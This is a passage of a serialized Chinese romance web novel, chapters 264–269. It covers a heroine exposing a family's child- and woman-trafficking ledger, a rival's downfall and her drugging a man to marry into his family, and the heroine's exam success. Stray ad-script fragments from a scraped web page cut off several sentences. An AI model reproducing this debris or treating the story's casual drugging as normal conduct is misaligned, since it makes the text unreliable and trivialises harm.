他很喜欢是没错。 可又大又白? 明明是粉粉嫩嫩的……还软软的。 他咬了咬唇,先是摇头,又是点头。 白幺幺:“……” 啥意思? 这是嫌还不够大不够白,然后勉强算喜欢 吗? 她低头瞅了眼自己的胸,这具身体常年吃不饱,能有个b,已经是极限了。 月钧枫视线一直在她身上,见她低头看胸。 他也随着她的视线看去,而后整张脸倏地发红发烫起来。 白幺幺重新抬头,月钧枫来不及收回视线,被她抓了个正着。 白幺幺想也不想,伸手揪住人的耳朵。 咦,怎么有点烫? 她贴近人耳边,磨牙道:“怎么,是不是觉得我的没有人家的大,然后发现自己还是更喜欢大胸女人!” 被一口大锅从天而降盖住的月钧枫:“???” 他没有!他不是!! 他着急的解释,“幺幺,你在说什么?我不喜欢什么大胸美女,我……我……只喜欢你。” 后面的那个你字,月钧枫说的很小声,说完就难为情的低下头。 白幺幺似笑非笑的问道:“是吗?那你刚刚看到秦雪的胸,有啥感想?” 月钧枫猛地抬头,一脸疑惑,“幺幺,我刚刚一直在看你,没看那个什么秦雪,更没看她的……她的……” 说到这,月钧枫一副难以启齿的模样。 也是这时,他才恍然明白过来,紧张的说:“幺幺,你要相信我,这种脏眼睛的事我才不会干。 出来后,我的视线就一直落在你身上。 刚刚,刚刚我本来是盯着你侧颜看的,只是不知不觉的,视线就下移落在你的唇上。 然后就想起了……” 第264章 年代文里的童养媳(47) 想起了啥,不言而喻。 也幸亏他们俩说话时,都是凑很近,小小声的。 周围人都在专注看热闹,也没空关注她俩这边。 就是离他们比较近的张婉茹,她也很识趣的与两人拉开些距离。 知道白幺幺误会了,月钧枫拉着人就是各种解释。 反正出来后,他的目光就一直落在她身上。 别说是秦雪,就是其他人,他也没兴趣看。 再说了,他可是个爱“干净”的! 那种污眼睛的事,他连想想都嫌恶心,更别说去做了。 而刚让他难以启齿的就是,就是他看着幺幺的唇,慢慢的就开始想入非非这事。 白幺幺又轻轻拧了下人耳朵,才满意的放开。 可就在她要转头继续看热闹时,肩膀被一双宽厚的手掌固定住了。 白幺幺没说话,而是用眼神询问,干嘛? 月钧枫小声道:“幺幺,你也别看,污眼睛!” 白幺幺:“……” 不看,她还看个啥热闹? 看出她的想法,月钧枫又道:“听声音就知道发生什么了,不需要用眼睛看的。” 白幺幺只是犹豫了下,就点了点头,“行吧。” 不看就不看,用听的就用听的。 这场闹剧很快就结束了。 秦雪最终还是没能抢回儿子,人也被赶出来了。 问看热闹的,怎么就没人上前去帮忙说个话啥的,或者阻止下。 没办法,韩东死了,怎么死的,他们又不是不知道。 人家只是在处理家事,又没打人杀人的。 他们傻了才上前去插手,到时准惹一身骚。 一辆小轿车迅速驶离,而那扇镂空雕花大铁门也重新关上。 秦雪追着车跑了一段距离,她的儿子在车上了。 只是两只脚哪里跑得过四个轮子的,人与车的距离越拉越远。 直到车子看不见影后,秦雪整个人瘫坐在地上,边哭边大口的喘着气。 追不上车,找不回儿子,她只能又折返回去。 使劲拍打着大铁门,想让里面的人放开进去,让她收拾下行李。 此刻她的理智稍稍回归,明白事已成定局。 她孤身一人,根本斗不过韩家那一大家子。 要赶她走可以,可起码让她收拾下行李。 韩东可是送了她不少好宝贝,只要带走这些,她之后的日子也不会太差。 至于儿子,就算暂时不养在她身边。 可是血缘亲情,再怎么样,终归也改变不了她是他妈的事实。 等孩子大了,她再找上门来认就是了。 只是无论秦雪在外面如何拍门,叫破了喉咙,都得不到回应。 看热闹的人也早已散去,各回各家睡觉去了。 最后是里面出来人,给了秦雪一个警告加威胁,她才消停的。 啥警告威胁? 就是她若继续闹下去,就会把她抓起来卖到山沟沟给老光棍当媳妇。 秦雪跟了韩东那么多年,哪里不清楚韩家是做什么营生发的家。 她瑟缩了下身体,脑中快速运转,各种权衡。 最后,她光着脚惨兮兮的离开了。 留个青山在,不怕没柴烧。 秦雪是这么劝自己的,至于今日之仇她记住了。 …… 韩家人是兵分两路的,秦雪这边安排了人,白慕雪那边也是。 因着秦雪这边比较简单,只是安排了几个底下人过来,韩家的正经主子一个都没来。 白慕雪的行踪很好查的,知道人在叶家。 在不确定叶家的态度时,韩家老二还是带着人亲自跑这一趟。 重生回来的叶枫,身体是小孩,体内却是成年人的灵魂。 他对雪儿的爱本就很深很深,现在面对才八岁的雪儿。 除了对雪儿的爱没变,对着变小的雪儿,他对人还更加宠爱了。 能养成爱人,这简直是一件超级幸福的事。 韩东死了这种事,他觉得根本没必要和雪儿说。 雪儿那么善良,到时被吓出心理阴影了怎么办? 韩家老二来要人时,是叶轩接待的。 两家交情一般般的,叶轩也没说不把人给韩家。 他只是表示非常的遗憾, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说人早就离开了。 因着这件事,他还训斥了自己儿子一顿,让人下回可不能什么阿猫阿狗都往家里捡。 韩家老二信与不信,叶轩可不管,反正他就是坚持这个说法。 甚至还很坦然的,让韩家老二要是不信,可以到屋里搜查看看。 韩家老二当然不信,心中气怒,却不可能当场撕破脸皮。 就算叶轩主动提出让他搜查屋子,可那又怎么。 既然敢让他们搜查,只能说明在他们来之前就把人藏起来或者送走了。 韩家老二神情变换,最后还是没让人对叶家进行搜查。 他对韩东这个弟弟不是没有感情,可临出门前,妻子拉着说了几句悄悄话。 凡事别太冲动了,君子报仇十年不晚。 还有死 去的人一了百了,活着的人还得活着。 韩家老二没能将人带回去,韩老夫人悲怒交加,当场晕了过去。 去要人时,韩家人不是没收到过是有人教唆白慕雪那样做的说法,而教唆之人是张家的小姐。 韩家人心中持怀疑态度,想着先把罪魁祸首抓来比较要紧。 只是,叶家的明显不配合的态度,让韩家人怒火高涨,同时心中生疑。 做啥事都应该有个动机的,韩家和张家并未结怨过。 张家小姐为什么要害他们韩家人,根本想不通。 而叶家就很可疑了,白慕雪才被赶出去,叶家立马就把人带回去了。 他们过去要人,叶家不交人就算了,还随便拿个人已经不在叶家的说辞搪塞他们。 韩老夫人醒来后,悲恸大哭,直呼叶家欺人太甚。 喊着两个儿子立马带她去叶家,不让人把那小贱种交出来,她就不走了。 两兄弟心中各有自己的小九九,很有默契的劝说老太太,这事必须从长计议。 最后还是韩老爷子出面,才将人劝住了。 韩东的葬礼很快办完,一切看似回归了风平浪静。 这天夜里,白幺幺潜入韩家,偷走了那本写满了罪恶的名册录。 重生男主知道有这玩意的存在,开挂了的白幺幺同志又岂能不知道。 第265章 年代文里的童养媳(48) 白幺幺才从窗户爬回房间,落地第一时间就发现房间里有人。 她原地开始扭扭脖子,活动活动四肢,边伸展腰肢还边嘟囔。 “睡不着出去爬上爬下的,运动一番,流身汗,整个人真的舒坦极了。” 白幺幺还照着那个左三圈右三圈的健康歌来了一套,动作故意往滑稽上做。 这时房间里突然响起一道声音,把她吓了一大跳,真的。 “幺幺,大半夜的,你不睡觉跑去哪了?” “啊!”白幺幺捂着嘴低呼出声。 紧接着听出是谁的声音,她抬手一边安抚受惊的小心脏,一边反将一军。 “你不也大半夜不睡觉,还跑来我房间,想干嘛?不知道人吓人会吓死人的吗?” 白幺幺刚刚在干嘛,大半夜的锻炼身体? 别闹了,怎么可能。 她不过是知道房间里不速之客是谁,再比谁先沉不住气。 被白幺幺这么一问,月钧枫从黑暗中走出来,忙解释起来。 “幺幺,我不是故意要吓你的,我只是担心你。 你从房间窗户爬下楼时,我刚好起夜,瞧见了。 我不知道你要去干嘛,等了许久,仍不见你回来,我很担心。 想着你不走正门,爬窗出去,应该是不想让人知道,我便没惊动其他人,来你房间等着你回来。” 白幺幺语气随意道:“我就是突然睡不着,心血来潮的出去运动下。” 月钧枫心里信没信不知道,嘴上却是信了。 “这样啊,那幺幺下回想运动,可以过去找我一起吗?” 他走去牵起人的手,神色认真的看着人。 “可以呀!” 这种问题根本不需要思考的。 说完白幺幺开始推搡着人,“好了,很晚了,你赶紧回去休息吧,我也要睡了。” 把人送到门口后,想到什么,白幺幺又折回去拿了样东西出来。 “喏,这是我刚在路上捡到的,你看着处理哈!” 就在刚刚,白幺幺有了新的主意。 有时候咱们不得不承认,有些东西落在更有能量的人手上,发挥的效用更大。 等月钧枫接过东西后,白幺幺抬手在人肩膀上拍了拍。 “加油,我看好你哦!” 月钧枫:“……” 虽还不明所以,但不妨碍他在对象面前表现。 重重的点了点头,他道:“幺幺,我会的。” 把人送走,白幺幺简单洗漱下,上床睡觉。 翌日。 两人谁也没主动提起昨晚的事,似是都忘了般。 已经决定好了,白幺幺准备参加今年的高考。 而大学她准备报考什么专业,一时还没想好。 反正到时看这个年代国家最缺什么专业的人才,她就在这些专业里面选一个。 这不入乡随俗,践行一块砖的精神。 “我是革命的一块砖,哪里需要往哪搬,我是发展一枝花,哪里能开往哪插……” 学习,学习,白幺幺同志忙到飞起。 期间,张婉茹来找过白幺幺几回。 除了来分享八卦,还给她送来一些学习资料。 一开始听到她要参加高考,想去读大学时,张婉茹微愣了下,就举双手表示支持。 为了不耽误她学习,平时也比较少过来打扰她。 早晨九点的阳光不是那么热烈,窗外树影斑驳,夏意渐浓,窗内白幺幺正奋笔疾书。 满级大佬再次经历高考,不拿个状元啥的说不过去吧! “幺幺,幺幺,大事件!大事件!!” 张婉茹人未到,声先到。 那激动到有点破音的声音,让白幺幺放下笔来,好奇的朝门方向看去。 张婉茹此时那个激动兴奋啊,哪里还记得要敲门。 开门进来,四面相对,张婉茹更激动了。 “幺幺,幺幺,你知道吗?韩家彻底完蛋了!” 韩家完蛋了? 白幺幺眼眸一动,猜到应该是某人的手笔。 那天晚上将东西给了人后,她便没再过问。 而从那天之后,男人明显忙了起来。 见白幺幺在发愣,不似她这般激动,张婉茹语速有点快的说起来。 “幺幺,你不知道,韩家有多 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 丧心病狂,他们早些年前干的竟然是拐卖妇女儿童这等丧尽天良的事。 我跟你说,果然是多行不义必自毙,他们自个儿竟然把自己做的一桩桩伤天害理的事记录成册。 哈哈,一群丧良心的坏种,还把这当丰功伟绩供着,准备一代一代传承下去吗? 他们应该怎么都想不到,这在未来将会成为他们的催命符吧! 当然,还该感谢那个侠盗,跑去光顾韩家,然后迷路了,阴差阳错进了韩家祠堂……” 张婉茹沉浸在叙事中,时而慷慨激昂,时而义愤填膺,时而破口大骂,时而…… 迷路迷到人家祠堂的侠盗白幺幺:“……” 白幺幺听得专注,只是偶尔会在心里小小吐槽下就是了。 张婉茹一口气将知道的全部讲完,见 白幺幺听了愣,不忘再补个解说。 白幺幺:……确定她是听愣了,而不是她只是听得认真些吗? “幺幺,我和你说,那个侠盗真的太厉害了。 她竟然自掏腰包,先按照那本名册上的去寻找被拐者,以及被拐者的亲人。 特别是那些被拐后,就被残害死的,也将他们的尸骨找出来,尽力去将她们送回家人身边。 她花了无数财力物力去做这些,名册上的受害者太多了…… 我猜她原本应该是准备等名册上的受害者都找到了,再来处置韩家。 只是,韩家做的恶事实在罪恶滔天,放任韩家多逍遥一天,那就是对受害者的再次伤害。 呜呜,她简直太聪明了,竟然能想出把那本名册直接印刷个上万册,在沪市大街小巷免费发放。 幺幺,你都不知道,好多正义之士都跑去韩家泼粪水…… 要不是这个侠盗是女的,呜呜,要是男的,幺幺,我都感觉自己要恋爱了!” 恋爱啥的,张婉茹就是说说,夸张的表达自己对人的崇拜之情。 她说完后,发现白幺幺依旧不似她这般激动,伸手轻轻推了下人。 “幺幺,你怎么了?” 白幺幺:“……” 她怎么了? 就是莫名多了一个隐藏身份,有点不适应。 第266章 年代文里的童养媳(49) “没,没什么。” 白幺幺摇了摇头,继而感慨道:“就是觉得你说的这个侠盗太厉害了,干出如此大快人心的事来。” “可不是,可不是呀!” 张婉茹狂点头,完全是一副已经成了对方小迷妹的模样。 “幺幺,我和你说哦,好多人啊,这几天都把家里钱财放得显眼点,就盼着这个侠盗来光顾他们家。 干了这么一件大事,花掉的钱肯定不少,近期也没传出哪个大户人家被盗了。 大家就怕她钱不够用呀,在变相的给她送钱了。 要不是不知道她是谁住哪,都想直接给她送钱了。” 张婉茹说着说着,想起了她此趟的另一个目的。 “幺幺走,咱们去韩家那边看热闹!” 白幺幺:“……” 虽然她是不会拒绝任何看热闹的机会,但是这回这个“有味道”的热闹,她心里本能有点抗拒呀。 那么多人去韩家泼粪,这会儿韩家外面肯定已经脏污一片,臭气熏天。 门外还能有落脚的地方吗? 光想想,她都替那些要进去抓人的警察感到为难,要踩着…… 张婉茹的激动劲还没过了,拉着白幺幺就往外走。 白幺幺根本没机会说出拒绝的话来。 到楼下,刚好和进门的月钧枫撞上。 月钧枫下意识皱眉。 这人怎么又来了? 目光扫过两个姑娘挽在一起的手,眸光暗了暗。 张婉茹:“……” 她要不要放开幺幺的手?要不要放开呀?! 真是的,她和幺幺都是姑娘,都是姑娘呀! 两个姑娘能做啥? 不应该放一百个,不,一万个心吗? 月钧枫同志很想上前将两人扒拉开,可该有的礼貌还是要有的。 他面无表情的朝人点了点头,算是打招呼。 在某些事上,月钧枫承认他就是个小肚鸡肠的。 对象还没扒拉到窝里来前,他必须打起一万分的警惕。 毕竟总会出现些个不怀好意的想来个肥水不流外人田,妄想和他抢对象。 张婉茹:“……” 少爷,大少爷,她当时就是醉酒说胡话。 好吧 后面知道后,还真觉得这想法很不错的。 就是挺遗憾的,幺幺已经有对象了。 朝张婉茹点头,打完招呼。 月钧枫看向白幺幺,脸上的表情真的是秒变,唇角勾起浅浅的笑意。 “幺幺,你们要出去吗?我刚好没事,也跟你一起出去。” 月钧枫也没问两人要去哪,直接就表达出一个意思,去哪他都要跟着。 这段时间,他忙着韩家的事,幺幺忙着高考的事,两人在一起腻歪的时间都变少了。 这不,当然要抓住时间和机会。 “我们要去韩家看热闹,你要去,就一起呀。” 白幺幺哪里还不明白男人的那点小心思,直接同意了。 韩家做的恶,影响太大。 该抓的抓,判刑都是往重的判。 就韩家两老犯的事,死刑是必然的。 而韩家老大老二,当时虽还年幼,却也有参与进拐卖行径中。 两人均是无期徒刑,而韩家的全部家产都拿来赔偿相关受害者了。 韩家老大老二的媳妇在事情发生后,第一时间带着孩子回娘家了。 韩老夫人从秦雪手中抢回来的孙子韩辰宇,一下子成了麻烦。 不管是韩家老大媳妇还是老二媳妇,没人想接手这个烫手山芋,直接让警察联系孩子的亲妈。 孩子亲妈还在了,没道理她们来养这个孩子。 那天晚上,秦雪灰溜溜的离开后,随便找了处地方挨到天亮。 犹豫再三,她去找了一个人。 一个曾经被她救过的男人,当然,秦雪可不是要转投此人怀。 珠玉在前,谁还看得上鱼目,可以说,韩东已经把她挑男人的眼光养高了。 男人是有点小钱,也有点小本事,可整体和韩东比起来真的是差不止一星半点。 男人虽然也在沪市,不过住的离她这边有点远。 秦雪当掉手中戴着的一个金镯子,然后坐车去找人。 她是没收拾行李就被赶出来,可她身上原本就戴着不少首饰。 这些要是全部换成钱票,也够她后半生衣食无忧了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就无法再支撑她过那种豪奢的生活,日子会过得清贫点。 秦雪琢磨了一晚上,她还是决定不贱卖掉这些首饰。 老家那边,韩东还在时,给爸妈在镇上买了房。 而且她以往每个月,乃至逢年过节,都有给爸妈汇钱邮东西过去。 沪市这边暂时是无法待下去了,她还是先回老家那边。 秦雪是自信的,她相信没了韩东,总还会有李东张东的。 反正吧,你说她心气儿高,那就心气儿高吧。 不过那句心比天高命比纸薄的话,她是完全不觉得自己是这样情况。 秦雪让那男人托关系给她拿到介绍信,然后收下对方硬要给她准备 东西,直接回老家去了。 因着不是很瞧得上这个男人,秦雪并没有给人她老家的联系方式和地址。 而她来沪市好几年,也没经营下什么其他的人脉好友。 以至于她回老家后,算是与沪市这边断了联系。 韩家发生如此大的事,她根本无从得知。 回到小县城,秦雪并没有和父母说她被韩家赶出来,儿子也被抢走的事。 她只是神情悲伤恍惚的说,韩东意外离世,她受不了打击,暂时离开伤心地回来散散心。 至于儿子,孩子奶奶刚没了儿子,对这个孙子简直当眼珠子疼宠,哪里肯让她带着一起回来。 两老是见识过女婿如何宠爱女儿的,都不疑有他。 当然,两老心中伤怀的同时,也隐隐为女儿未来担忧。 孤儿寡母的,在沪市那样的地方,以后日子肯定不容易些。 秦母心里盘算着,要不等女儿要回沪市时,让她把还未成家的小儿子带上。 女婿还在时,她有过这想法,却不敢提。 现在女婿不在了,女儿当家。 让小儿子过去女儿那边,简直就是个两全其美的主意。 女儿那边家里没个男人不行,小儿子过去刚好解决这个问题。 然后让女儿在沪市给小儿子安排个工作,之后再给小儿子介绍个大城市的姑娘做媳妇。 秦母这边顾自想得美滋滋的,所以当她的外孙韩晨宇被送过来,知道了韩家情况后,那简直是晴天霹雳。 第267章 年代文里的童养媳(50) 女婿没了是真的,可女儿根本不是回来散心,而是被赶出来的呀! 现如今,韩家还出了那样的事,外孙都没人管,直接被送回来了。 还回啥沪市,回不去,根本回不去了。 秦母缓过劲来后,又不免暗自庆幸女婿一家远在沪市。 不然摊上这么门亲家,他们家这脸面丢尽不说,甚至还会害得小儿子以后说不上什么好亲事。 作孽,作孽哟! 早知道打死也不让女儿嫁给韩东那个短命鬼了。 秦母平时就是个爱炫耀的性子,无形中招惹了好些等着看她笑话的人。 送孩子过来的同志离开时,半路被与秦母相识的邻居拦下来,想打听情况。 沪市大家都知道的事,保密? 不存在的。 那名同志就表情夸张,语气激动的将沪市近期的大新闻,也就是韩家罪恶史给人讲了讲。 之后的之后,肯定就是一传十,十传百,大家都知道了。 不然咋说好事不出门,恶事传千里。 秦雪期待中的张东李东没有了,以她和韩家沾染上的名声,还是个带娃寡妇,哪里进得了什么高门大户。 …… “小枫哥哥,雪儿想妈妈了。” 小孩子么,总是容易好了伤疤忘了疼。 被叶枫精心养了段时日,白慕雪此时就像是个精致洋娃娃,粉嫩嫩的,好看得紧。 叶枫牵着人的手,把人带坐到他大腿上,双手环住人的腰。 两人还都是孩子,身高目前也就相差大半个头,这样的动作显得亲昵无比。 叶枫爱极了小小的雪儿无比依赖亲昵他的模样,这种感觉比吃了蜜还甜,还令他满足。 初听韩家出事,他惊愕得说不出话来。 前世明明不是这样的,韩家并没有出事,未来还发展得越来越好。 而那本名册录,被雪儿意外拿到后。 两人一起看完,出于多方考虑,就被他收起来,想着未来可能有用。 只是他重生前,这东西都一直被他藏在很安全的地方,不曾现世。 这一世怎么就出现了个侠盗,到底是什么情况? 因着韩家的事,他那好父亲又动了将雪儿送走的心思,一点都不讲合作精神。 叶枫暗暗在心里叹了口气,伸手摸了摸怀中的人脑袋。 “小枫哥哥,你轻点,不然雪儿的发型会被你碰坏的。”白慕雪娇声娇气的说,不过脑袋却没移动半分。 叶枫知道他的雪儿从小就最爱漂亮了,他宠溺的笑道:“就算发型弄乱了,雪儿依旧是最好看的小公主。” 不管哪个年龄段的女人都喜欢被夸,白慕雪咯咯笑道:“是吗?对,雪儿就是最好看的小公主。” 白慕雪笑了会儿,话题要自个儿绕回去了。 “小枫哥哥,雪儿想妈妈了,你能带雪儿去找妈妈吗?” 叶枫神色僵了僵,他也不知道要怎么和雪儿说韩家发生的事,以及她妈妈现在根本不在沪市。 想了想,叶枫撒了个谎,先将人稳住了再说。 这时,叶轩从外面进来。 见到两人搂搂抱抱在一起的画面,他眉头一下子挑得老高。 他没有做出当场训斥人的举动,丢下一句话就直接上楼去书房了。 “来书房一趟。” 等叶轩走没影后,白慕雪才挨近了些,皱着脸小声问,“小枫哥哥,叶叔叔是不是不喜欢雪儿呀?” 叶枫:“……” 何止不喜欢,应该说是厌恶。 可是这种残酷的真相,雪儿就没必要知道了。 雪儿有他的喜欢就行,说白了,他那好父亲就是个无关紧要的人。 “怎么会了,我爸他一直就是这副样子,雪儿你别多想。” 叶枫让人送来小蛋糕,“雪儿,你先乖乖在楼下吃蛋糕,我去下书房。” “嗯,小枫哥哥,你去吧,雪儿会乖乖的。” 二楼书房里。 叶枫推门进入后,一块砚台就往他这边砸来。 “你不是说会帮我得到阿枫,都过去多久了,到现在还一点进展都没有。” 叶轩声音冷厉,压抑着浓浓的怒火。 该死的!该死的!! 一个乡下粗鄙无知女,竟然也妄想考大学。 最重要的是,阿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 枫竟然亲自送人去考试,还在外面等着人考完。 看着那个乡下女人一天一天的蜕变,以及阿枫和她越来越亲密,叶轩感觉他快要疯了。 他后悔了,后悔低估了对手。 叶枫堪堪躲开了那砚台,他垂下眼睑,遮挡住眸中的阴狠之色。 这老天爷真是的,让他重生了,却偏偏选择他八岁的时候。 年龄摆在那,很多事情都受制于人,能做事情真的不多。 砚台的材质很好,掉地上后,不仅没碎,连磕碎个角都没有。 弯腰将砚台捡起来,叶枫边走过去边道:“爸,方法我给你了,你也不否认这是个十分可行的好方法。” 叶轩冰冷的眸光扫过去,“我只要结果,不行的话,那丫头就必须送走! 还有你现在虽年纪还小,但丑话我说在前头,收了你的心思,那丫头不配进咱家门。 未来你的婚事,你可做不了主,找个门当户对的联姻才是你该走的路。” 叶枫捏紧双拳,想试着和人讲道理。 只是话在脑中酝酿好了,犹豫再三,还是没有说出来。 谁能想到月家那位谈对象后是那样一副德行,恨不得时时刻刻将人栓裤腰带上,走哪带哪,跟连体婴似的。 他们想要耍耍阴谋,都找不到机会。 还有一点,叶枫至今想不通。 他一开始认为月家的那人就是白姨,可是后面接触过几次,外加从雪儿了解过情况,他又不确定了。 真的除了长得像,其他哪哪都不像。 特别是对方这几天还参加了高考,成绩虽还要过段时间才出。 但秉承着知己知彼百战不殆理,他那好父亲早就从旁的地方,探听到这女人学习情况。 没有意外的话,应该能考上大学,或者说能轻轻松松考上大学。 如果是白姨,就算她得了机遇重生,可重生,魂还是那个魂,脑子更没换。 总而言之,言而总之,如果真是白姨,她就是想完成小学课程都费劲。 叶枫不免产生过这样的怀疑,这女人会不会是白姨的亲姐妹。 重生后,没一件事是顺利的,叶枫心中烦躁的很。 第268章 年代文里的童养媳(51) 高考结束后,月钧枫带着白幺幺回了趟港城。 按照月钧枫的话说,那就是丑媳妇总要见公婆的。 白幺幺:“……” 谁丑媳妇了? 经过一段时日的精心护肤,以及每天基本都窝在家里卷学习。 白幺幺的皮肤不仅被捂白了不少,肤质也变得很好。 本来就长得不差,这皮肤状态再跟上来,外加通身的气质。 这只要稍稍一打扮,出门还是挺吸睛的。 更不要说情人眼里出西施,月钧枫同志简直是越来越粘人了呀。 港城那边知道白幺幺存在,还是林伯的原因。 说漏嘴了呗! 整天的吃独食(俗称狗粮),林伯每回和港城那边联系时,心里那个虚呀,不安呀! 他的良心备受谴责。 这简直太为难林伯了有木有。 所以在一个风和日丽的早晨,林伯不小心,真的是不小心。 直接把他家小少爷有对象的劲爆消息,以一种风轻云淡的语气给说溜嘴了。 这不跟远程给月家投了个导弹,威力杠杠的。 月家两老哪里还坐得住,立马就想亲自动身过来沪市。 还是月钧枫知道了,以他家幺幺在奋战高考,让他们别过来添乱为理由阻止了。 月家两老听到高考,如此重要的人生大事,他们表示能理解。 他们就说,那等高考完,他们再过来沪市一趟。 月钧枫又给否了。 他说等高考结束后,他带着幺幺回港城一趟。 月钧枫当然是有他的小心思,他想让幺幺更了解自己些,比如他从小到大的生长环境。 港城,月家。 确认儿子过不了多久就要带对象回来,月家一下子热闹起来。 月父是出生就是含着金汤匙的,早年在男女之事上玩得花点,后来觉得无趣便收敛了。 月父的子嗣颇丰,只是吧,前头连续生的都是女儿。 生儿生女,月父倒不是很在意,只是家里老一辈在意呀。 他们请来大师算了一卦,得出月父命里是有一子的。 不得不说大师算的很准,隔年,发妻就给月父生了个儿子。 要说月父和月母两人属于门当户对的家族联姻,两人之间根本莫得感情。 因此月母对月父在外面有小三小四小五啥的,私生女又一个一个冒出来,那是完全不在意。 儿子出生后,月母将重心全部放在儿子身上,月父直接被打入冷宫了。 可是,任谁都没想到儿子会得那样一种怪病。 暗地里求医问药无果后,月母把一切归咎到月父头上。 觉得就是他女人玩多了,前头才生的全是女儿,生不出儿子。 而好不容易有了个儿子,却天生抵触异性触碰。 别说,还真挺有道理的。 月家两老第一次动手打月父,还是混合双打。 月父受了这一顿打,人彻底老实了。 直接和外面的女人断干净,只是每月按时给打去女儿的抚养费。 月父回归家庭,想和月母好好过日子,不过人家月母才不鸟他了。 一心扑在儿子身上,同时开始吃斋念佛为儿子祈福。 月父:“……” 他能说什么? 他又敢做什么?! 只能夹着尾巴好好做人呗! 不然咋说儿女情长只会影响男人拔剑的速度,别无选择只能专注事业的月父没几年就让月家又上升了一个高度。 不是担心传宗接代的问题,而是担心儿子老了孤单一人。 他们又找上了当年给月父批命的大师。 大师皱着眉,摇头晃脑了好一会儿,才表情古怪的给出了这么句话,“破局之地在沪市”。 其他的,无论他们问什么,大师就是缄口不谈。 多方面考虑后,大师的话,只有月父月母两人知道,他们谁也没说。 既然破局之地在沪市,那还等什么,找个由头赶紧让人过去呀! 之后,留在港城的月父月母每天都紧张的等着,盼着呀。 最后终于让他们盼到了,当场喜极而泣,都不夸张的。 可以说,白幺幺的这趟港城之行,收礼收到“手软”,甚至感觉月父月母都想把儿子打包当场就送给她了。 高考成绩出来后,毫无悬念的,白幺幺考了个状元。 因着白幺幺是成绩出来一周后才回的沪市,所以记者一时找不到正主采访。 他们也不知道从哪里知道张婉茹和她的关系,跑去采访了张婉茹。 张婉茹对着记者朋友直接将白幺幺好一阵夸,从天资聪颖到读书勤奋,从人美心善到乐于助人,从…… 看到那则报道的白幺幺:“……” “呜呜,没想到最了解我的,果然还是我婉茹妹子啊!” 白幺幺同志不小心把心里话给说了出来,然后月钧枫就坐她旁边。 月钧枫:“……” 果然,他时时刻刻防范着某人就从未防范错。 都远在港城了,竟然,竟然还能如此出招! 两人经历一番友好交谈后,又甜甜蜜蜜(黏黏腻腻)了。 从港城回来,白幺幺开始准备读大学的事。 贫穷就要挨饿,落后就要挨打,白幺幺最后选择往科研方向发展。 这天,白幺幺放 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 寒假回来,张婉茹同志知道后风风火火的上门来。 不用怀疑,新鲜热乎的大瓜上菜了。 韩家的事传开后,秦雪的日子能好过才奇怪。 本不想卖掉的首饰,最后还不是一件不剩。 秦家老两口多次提出让她嫁人,可那些人的条件,秦雪打死都不肯。 老两口还有儿子了,让个女儿带着外孙一直在家住着根本不是事儿。 没多久,矛盾就出来了,还越来越激化。 树倒猢狲散,韩家出事后,张婉茹又再次调查当年的事,竟然她查出了点东西来。 秦雪! 她就知道,就知道她爱人的死肯定和这对夫妻脱不了关系。 张婉茹也没做什么,只是让秦雪知道她不要的女儿正在富贵人家里吃香的喝辣的,最后帮着人回到沪市。 张婉茹就是想着白慕雪那孩子似乎天生克秦雪,把人都凑一起了,准有好戏看。 没想到,好戏还真上演了。 秦雪竟然看上了叶轩,想当叶家的女主人。 最重要的是,秦雪偷偷下药还真成功爬上了叶轩的床。 最后也不知道用什么为筹码,如愿当上了叶太太。 前世的丈母娘要当你的后妈,就问你答应不?! 叶枫简直要抓狂了,一切都乱套了。 而过过一段时日的拮据生活,秦雪对金钱的渴望已经到达了顶峰。 与此同时,她对白慕雪这个女儿的恨意也达到了顶峰。 她也认为这个女儿生来就是克她的,在这一点上,她和张婉茹竟达成了默契。 为了报复,也为了坐稳叶太太的位置。 她鼓动自己女儿“重操旧业”。 啥旧业? 砸人呗! 往哪砸? 往死里砸呗! 叶枫:“……” 重生回来,被心爱之人砸成太监,就问这心理阴影面积有多大。 反正吧,叶家这是彻底乱套了。 时不时都有戏看,可谓是小瓜不断,大瓜偶尔来一个。 白幺幺:“……” 还好她有先见之明,早就让某人远离叶轩这朋友。 至于叶轩那点龌龊心思,她并没有和人说。 因为没必要,说了也仅仅是让人纯纯被恶心到而已。 月钧枫:“……” 朋友和对象如何选择,傻子才会选错吧! 因着还有要生三个崽的任务,在白幺幺大二下学期开学前,月钧枫同志终于如愿拿到了名分,结束了无证不“开车”的日子。 两人开始了持证开车的日子,真就如林伯像天老爷祈祷的,来了个三年抱两。 …… 第269章 年代文里的童养媳(番外1) “叮铃铃。” 上课铃响后,学校大门缓缓关上。 就在大门即将完全关上时,一道小身影像条泥鳅似的,从仅余二三十公分的细缝中快速滑了进来。 “喂,这位同学,你哪个班的? 下回记得提早几分钟来学校,可不能再像刚刚那样,很危险的,稍有不慎就被门夹到了。” 月学文撒丫子往教学楼跑去,根本没回头,不过声音却传了回来。 “知道了老师,我就是出门走到一半,发现忘记带作业,又折回去拿作业才会踩着点到学校的。” 仍心有余悸的老师:“……” 这理由,没毛病,她也不好追着人继续说什么。 而且踩着点到学校,并不算迟到。 不过,刚刚那声音咋听着有点熟悉了? 老师皱眉想了下,一时也想不起来,便不想了。 她等下就有课,抬脚匆匆往教学楼走去。 月学文一路火花带闪电的往教室跑去,路过好几个班级时,还是引来了不少视线。 他全程低着头,没办法,不低头不行啊! 谁让他在学校里太出名了,属于校园风云人物的扛把子。 若是有人发现从他们教室外奔跑而过的人是他,那不得引来更多的视线与各种形式的打招呼。 低调,低调,这是月学文近期在学的“课程”。 渐行渐近的……跑步声? 班上的同学们以为是老师来了,忙一个个收起各种小动作,正襟危坐。 不过跑进来的根本不是老师,而是他们班的同学。 月学文一进到教室,就有好几个同学兴奋地和他打招呼。 “文哥早。” “老大好,还以为你早上不来了。” “老大,喝水。” “文哥好,吃早饭了吗?我这里有……” …… 月学文伸手手掌朝下压了压,示意那几个同学安静。 